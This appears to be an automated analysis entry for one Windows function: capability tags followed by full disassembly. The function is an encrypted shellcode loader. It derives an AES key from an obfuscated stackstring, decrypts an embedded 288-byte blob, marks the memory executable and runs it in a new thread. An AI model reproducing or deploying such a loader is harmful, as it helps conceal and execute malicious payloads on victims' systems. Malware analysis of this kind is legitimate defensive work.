Function at 0x140001130
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x88]
sub rsp, 0x188
movdqa xmm0, xmmword [str.AES_ENCRYPTION_P]
mov edx, 0x120
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0xa8], 0
xor ecx, ecx
mov dword [rbp + 0x60], 0x5f535341
mov dword [rbp + 0x64], 0x544e4f44
mov dword [rbp + 0x68], 0x4145525f
mov byte [rbp + 0x6c], 0x44
mov dword [rsp + 0x30], 0xc8a54195
mov dword [rsp + 0x34], 0x85b6a311
mov dword [rsp + 0x38], 0xeaee88f0
mov dword [rsp + 0x3c], 0x568967f8
mov dword [rsp + 0x40], 0xdef6c327
mov dword [rsp + 0x44], 0x5327b053
mov dword [rsp + 0x48], 0x4f00de41
mov dword [rsp + 0x4c], 0x4dd282e1
mov dword [rsp + 0x50], 0x7361959d
mov dword [rsp + 0x54], 0xe6e5d02d
mov dword [rsp + 0x58], 0x2d6091a7
mov dword [rsp + 0x5c], 0xddcbf36f
mov dword [rsp + 0x60], 0x5ef94227
mov dword [rsp + 0x64], 0x29d72ece
mov dword [rsp + 0x68], 0x32d1d78b
mov dword [rsp + 0x6c], 0xa8914292
mov dword [rsp + 0x70], 0x655c1ed4
mov dword [rsp + 0x74], 0x606ac816
mov dword [rsp + 0x78], 0xa71c3cc
mov dword [rsp + 0x7c], 0x6d9c343e
mov dword [rbp - 0x80], 0x10c8ecf4
mov dword [rbp - 0x7c], 0x6bfcd1c1
mov dword [rbp - 0x78], 0xe9938938
mov dword [rbp - 0x74], 0x3fd7f703
mov dword [rbp - 0x70], 0x907b2393
mov dword [rbp - 0x6c], 0x7edc6492
mov dword [rbp - 0x68], 0xa65fa238
mov dword [rbp - 0x64], 0xa700431b
mov dword [rbp - 0x60], 0x3711f17d
mov dword [rbp - 0x5c], 0xff95eaed
mov dword [rbp - 0x58], 0xed5dd5b9
mov dword [rbp - 0x54], 0xd2b3d560
mov dword [rbp - 0x50], 0xbf2f7185
mov dword [rbp - 0x4c], 0x752836a5
mov dword [rbp - 0x48], 0xc26fa87
mov dword [rbp - 0x44], 0xe3850498
mov dword [rbp - 0x40], 0xbce364dd
mov dword [rbp - 0x3c], 0x911da8f3
mov dword [rbp - 0x38], 0xd32b7f0a
mov dword [rbp - 0x34], 0x1e87762a
mov dword [rbp - 0x30], 0x71042e23
mov dword [rbp - 0x2c], 0x980228cd
mov dword [rbp - 0x28], 0x6502c960
mov dword [rbp - 0x24], 0xc9fd895d
mov dword [rbp - 0x20], 0x6cacd636
mov dword [rbp - 0x1c], 0x6dad20cd
mov dword [rbp - 0x18], 0x966692a0
mov dword [rbp - 0x14], 0xfa1397f4
mov dword [rbp - 0x10], 0x5301f957
mov dword [rbp - 0xc], 0xab0a93ca
mov dword [rbp - 8], 0xfaf35c31
mov dword [rbp - 4], 0x75071eb5
mov dword [rbp], 0x4598172e
mov dword [rbp + 4], 0x561215bf
mov dword [rbp + 8], 0x20f86523
mov dword [rbp + 0xc], 0xa866b28c
mov dword [rbp + 0x10], 0xcbd88e9e
mov dword [rbp + 0x14], 0xba3bb52a
mov dword [rbp + 0x18], 0x738ffe9b
mov dword [rbp + 0x1c], 0xeb9dc564
mov dword [rbp + 0x20], 0x1bed9c19
mov dword [rbp + 0x24], 0x48e03d03
mov dword [rbp + 0x28], 0x29d00b42
mov dword [rbp + 0x2c], 0x18c5376b
mov dword [rbp + 0x30], 0x274adbbd
mov dword [rbp + 0x34], 0xdc67e3ec
mov dword [rbp + 0x38], 0x528ac4f8
mov dword [rbp + 0x3c], 0x96ee7cb
mov dword [rbp + 0x40], 0x76455411
mov dword [rbp + 0x44], 0x2a10711f
mov dword [rbp + 0x48], 0x49671947
mov dword [rbp + 0x4c], 0x1579851e
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, 0x18
mov dword [rbp + 0xa0], 0x120
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp + 0xb0]
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000148d
mov rcx, qword [rbp + 0xb0]
lea rax, [rbp + 0xb8]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000148d
mov rcx, qword [rbp + 0xb8]
lea rdx, [rbp + 0x50]
xor r9d, r9d
lea r8d, [r9 + 0x1d]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000148d
mov r8, qword [rbp + 0xb8]
lea rax, [rbp + 0x70]
mov rcx, qword [rbp + 0xb0]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x14000148d
mov rcx, qword [rbp + 0x70]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x14000148d
mov rcx, qword [rbp + 0xb0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, 0x120
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140001f60
lea r9, [rbp + 0xa8]
mov edx, 0x120
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400014ee
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x188
pop rbx
pop rbp
ret